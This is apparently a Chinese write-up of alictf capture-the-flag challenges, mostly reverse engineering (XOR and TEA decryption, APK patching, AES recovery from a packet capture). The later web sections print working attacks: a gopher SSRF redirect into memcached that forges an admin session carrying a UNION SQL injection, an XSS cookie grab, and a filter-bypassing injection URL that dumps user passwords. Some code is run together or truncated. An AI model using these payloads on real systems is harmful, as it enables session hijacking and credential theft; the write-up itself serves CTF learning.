调用函数的地址都是通过下列方式算出来的,不过a1=2,所以手动算下跳转地址即可。
程序中有几处代码需要异或解密出来:
fromidaapi import *
defdecrypt(start, end, xor_data):
for i in range(start, end):
a = get_byte(i)
patch_byte(i, a^xor_data)
decrypt(0x603440,0x603440+250, 0x49)
decrypt(0x603740,0x603740+672, 0x7e)
decrypt(0x603a00,0x603a00+0x1fd, 0xef)
最后有4位不确定,通过md5进行爆破。
f ='35faf651b1a72022e8ddfed1caf7c45f'
defmd5(src):
m2 = hashlib.md5()
m2.update(src)
return m2.hexdigest()
for i1 inrange(0x20, 0x80):
for i2 in range(0x20, 0x80):
for i3 in range(0x20, 0x80):
for i4 in range(0x20, 0x80):
f2 ='M'+chr(i1)+chr(i2)+chr(i3)+chr(i4)+'A1w4ys_H3re'
if md5(f2) == f:
print f2
break
flag为:alictf{Pr0bl3M_1s_A1w4ys_H3re}
10. debug
双进程保护,首先看父进程,比较简单
主要就是在子程序两个地方停下来时,修改一下内存。
简单对程序进行手动patch之后,就可以对子进程调试。
分析算法,发现是进行了一个tea加密,然后异或了一个0x31,之后与固定的字符串进行比较。
此处的tea与标准的tea有所区别,主要是轮次,由32变成了128,稍微改改tea的解密程序就可以正常解密了。
from zioimport *
f =open('./debug', 'rb')
d =f.read()[0x7030:0x7030+0x10]
d2 = ''
for i inrange(0x10):
d2 += chr(ord(d[i])^0x31)
printHEX(d2)
#5dff17ed14f787e92842a1dc0a97f732
#include
voiddecrypt(unsigned long *v, unsigned long *k) {
unsignedlong y=v[0], z=v[1], sum=0xC6EF3720, i; /* set up */
sum =0x1bbcdc80;
unsignedlong delta=0x9e3779b9; /* a key schedule constant */
unsignedlong a=k[0], b=k[1], c=k[2], d=k[3]; /* cache key */
for(i=0;i
{ /*basic cycle start */
z -=((y>5) + d);
y -=((z>5) + b);
sum -=delta; /* end cycle */
}
v[0]=y;
v[1]=z;
}
voidmain()
{
unsigned long plain2[2] = {0xed17ff5d,0xe987f714};
decrypt(plain2, key);
printf("%08x%08x", plain2[0],plain2[1]);
unsigned long plain3[2] = {0xdca14228,0x32f7970a};
decrypt(plain3, key);
printf("%08x%08x\n", plain3[0],plain3[1]);
}
flag为c6bf3d7cdad82ea712cea62cccbafddf
11. timer
这个题lib里面好像没有什么东西,调用stringFromJNI2函数只要传入正确的数字即可打出flag,爆破的话估计成功率不高。所以重点还是在找出正确的数字上。
主要逻辑如下图
简单看了一下可以得出结论,上面的这段代码没一秒钟运行一次,而this.beg给出的超时时间为200000秒。如下图
也就是说只要让应用连续运行200000秒就可以出现flag。。。
当然直接运行的话估计就没分了。分析一下上面的逻辑可以得出下面的python代码。
其中is_prime的代码为
直接从apk里拷贝过来改了改。最终求出k为1616384,传到stringFromJNI2就可以了。
传递参数的时候优先可以考虑hook的方法,不过当时手头没有合适的手机,就退而求其次采取直接修改smali代码重新打包运行。
用Andoird killer打开apk,首先修改MainActivity.smali为下图,使得k值默认为1616384。
之后修改MainActivity$1.smali的两个地方,第一个地方是修改判断调试使程序直接执行stringFromJNI2,第二个地方注释掉时间更新、使这段代码只运行一次。
最后安装上apk运行就行了,我把背景变成白的了,要不然字看不清。
12. LoopAndLoop
这个题的主要逻辑如下图,只要输入正确的数字,就能得到flag。
看一下lib中的check函数,主要逻辑如下图,原来是lib中的check函数会循环调用java层中的check1、check2、check3函数。在这里有几点需要注意,在这里实际调用的_JNIEnv::CallIntMethod函数实际有5个参数,ida识别不全只列出3个,第4个参数是传入check函数的第1个参数,第5个参数是传入check函数的第2个参数减1(不是参数本身!!)
Java层中的这三个check函数就是做了一些简单的循环加减法,翻译成python如下图
最后打印出的就是正确的数字236492408(我知道等差数列可以直接求和但是我懒),输入apk中即可得到flag。
13. Steady
这个题是一个纯Native的apk应用,相关原理可以参考:
http://www.cnblogs.com/hicjiajia/archive/2011/01/20/1940022.html
这个题用了比较纠结的ollvm混淆,全部是使用while循环和关键字判断来的,看了挺长时间。
这个题大概是一个游戏,该apk运行时会检测手机的角度,然后在角度变换的时候在adb的log中打出相应结果,如图,同时屏幕会变色,如果角度正确屏幕就变为绿色。
经过研究代码,发现屏幕的三个角度会传入a_process函数,之后a_process函数的返回值会与另一个数组进行比较,关键代码如下面三幅图
考虑到此时的三个角度为唯一的输入变量,而a_process的返回值为角度唯一影响的变量,遂考虑修改a_process的返回值达到伪造输入的目的。将a_process的返回值依次改为数组中的值,可以成功运行到输出flag的代码。
但是此时输出的flag为乱码,考虑其他原因。
通过研究a_process函数,发现其能够返回的最大值为6,而数组中出现了7和9。
继续研究代码,发现b_process的运行结果会与a_process的运行结果相加
同时发现只有当a_process返回6时才会执行b_process,如下图
于是考虑当需要修改为7和9的时候,把a_process的返回值修改为6,同时修改修改b_process的返回值分别为1和3,最终得出flag为alictf{PvrNa7iv3Ap6}
14. ColorOverFlow
流量包,把apk抓下来
#!/usr/bin/env python
from scapy import*
from scapy.all import*
import io
import struct
import sys
b = io.BytesIO()
rawpcap = rdpcap(sys.argv[1])
rawpcap = [_ for _ in rawpcapifTCP in_ and_[TCP].dport == 5555and _[IP].src =="10.0.2.2" and Rawin _[IP]]
rawpcap = next( rawpcap[i+1:] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('/data/local/tmp') !=-1 andp[Raw].load.find('SEND') != -1)
rawpcap = next( rawpcap[:i] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('pm \'install\'') != -1)
print(len(rawpcap))
#b.write(''.join([p[Raw].load[24:] for p inrawpcap if Raw in p ]))
for p in rawpcap:
if Rawin p:
data = p[Raw].load
if data.startswith('WRTE'):
data = data[24:]
b.write(data)
b.seek(0)
#print b.read()
a = open('out.apk','wb')
header = b.read(8)
while header != "":
tag, datalen =struct.unpack('
if tag== "DATA":
a.write(b.read(datalen))
else:
break
header = b.read(8)
a.c lose()
逆算法,aes和md5,写了个py还原如下
import hashlib
from Crypto.Cipher import AES
def hex2bytes(s):
r=s.decode("hex")
a=[]
for i in r:
a.append(ord(i))
return a
def fix(a,b):
v0=0
v8=8
v2=[]
v3=[]
for i in range(len(a)):
v2.append(0)
for i in range(v8):
v3.append(0)
for v1 in range(0,v8):
v3[7-v1]= 255& b
b=b>>v8
while v0 v2[v0]=ord(chr(a[v0]^ v3[v0%8])) v0+=1 return v2 def pre(arg6): a=[] for i in range(0,len(arg6),2): a.append(int(arg6[i]+arg6[i+1],16)) return a def showlist(a): for i in a: if i >=128: print i-256, else: print i, print "" androidId = "bb39b07060deabd5" timestamp=1463149196345 iv =fix(hex2bytes("46514BF9F2B3CD3BF580B7CD9BAE4514"), timestamp) showlist(iv) encryptedData = hex2bytes("DA2990BF15B7FD98A4E73EF766CD714F6F63B2E7F270C55F0CAF7E704CA7702F") showlist(encryptedData) temp=hashlib.md5(androidId).hexdigest() key = pre(temp) showlist(key) content1="" key1="" iv1="" for i in encryptedData: content1=content1+chr(i) for i in key: key1=key1+chr(i) for i in iv: iv1=iv1+chr(i) obj = AES.new(key1,AES.MODE_CBC, iv1) print obj.decrypt(content1)
15. Recruitment(II)
乌云上的文章不少:
http://drops.wooyun.org/tips/16357
http://drops.wooyun.org/papers/13948
http://drops.wooyun.org/papers/8261
首先搭建环境测试ssrf,先折腾一下VPS,漏洞在提交照片URL的地方,给别的后缀会出错,修改Apache配置文件,让jpg后缀也可以当php运行:
加一个jpg的就好了。
本地构造xxx.jpg,测试:
提交url:
测试成功。
反弹sh未果,进行多种内网协议测试未果,在本地11211端口上发现运行的memcache,限定本机访问,目测打这个。
进行ssrf访问memcache后,回显会在index.php的图片上体现出来,下载图片查看即可。
使用version指令获取到版本信息:VERSION1.4.14 (Ubuntu)
使用stat items获取到4种id的items:
然后要取内容:
而后:
header('Location: gopher://127.0.0.1:11211/_get%20123123.lock%0aget%20v7j9fqjd87ahllrt3nuamn3860%0aget%201a7ippv1hln313834vkqeck2a1%0aget%203ftrcl490ovko8fkjmrsub5ub6%0aget%20luqfvoniepg4m38u4h1m4p2l94%0aget%20b27dfchc0lbkvdhv6s4qutt1t6%0aget%20ldq98pp1eqn3bcl28esca6doj7%0aget%207ve2m51ho3ik2phntbbf6mda45.lock%0aget%20hos82c41uh5c5vcbsoorv7cv47.lock%0aget%20e6lbcsnd1jqlkcdlpksdqa5653.lock%0aget%20tv2b4vad0ea9itqkk3h5a35lg2.lock%0aget%203q4b3tclao3odc5thdhr6fq2l7%0aget%200mq7lftahvoeb0rl428b4tagr1%0aget%207ve2m51ho3ik2phntbbf6mda45%0aget%20vm3tf5drmvnp2f508vrourden4%0aget%20e6lbcsnd1jqlkcdlpksdqa5653%0aget%20hos82c41uh5c5vcbsoorv7cv47%0aget%20tv2b4vad0ea9itqkk3h5a35lg2%0aquit%0a');
?>
发现session存到了这里。通过set指令进行修改,将is_admin改成1,成功登陆admin。
需要执行的指令序列:
生成jpg:
成功登陆/admin,发现memo,尝试修改session里的ip为127.0.0.1 然后通过gopher发送http请求去访问memo.php,但依然提示非local user,这时候发现backup.php,访问得到全站源码发现了注释的备份文件,下载,审计,waf过滤的比较严格,但是session没有被过滤,通过ssrf+memecache可以修改session的
使用unionselect注入,测试为7列,构造payload,修改session,访问index.php,获取flag(库表名源码中已给出):
header('Location:gopher://127.0.0.1:11211/_set%20gfe2m51ho3ik2phntbbf6mda45%200%200%20177%0d%0agtserver|i:1;captcha_id|s:11:"captcha_110";is_login|b:1;is_admin|b:1;user_ip|s:14:"218.29.102.114";username|s:61:"dfah\'%20union%20select%201,content,3,4,5,6,7%20from%20memo%20where%20\'1\'=\'1";%0d%0aquit%0d%0a');
?>
16. Findpass
注册账号发现是有个message的留言板
然后试了下用户名处的xss。
收了一早上的cookie
一波思路
之后发现HHHH可以覆盖注册
http://114.55.1.176:4458/detail.php?user_name=HHHH
user_name存在注入,根据xss到的构造payload
payload:
http://114.55.1.176:4458/detail.php?user_name=HHHH%27%0aununionion%0aselselectect%0auser_pass,2,3,4%0afrfromom%0atest.users%0aununionion%0aselselectect%0a1,2,3,4%0aoorr%0a%271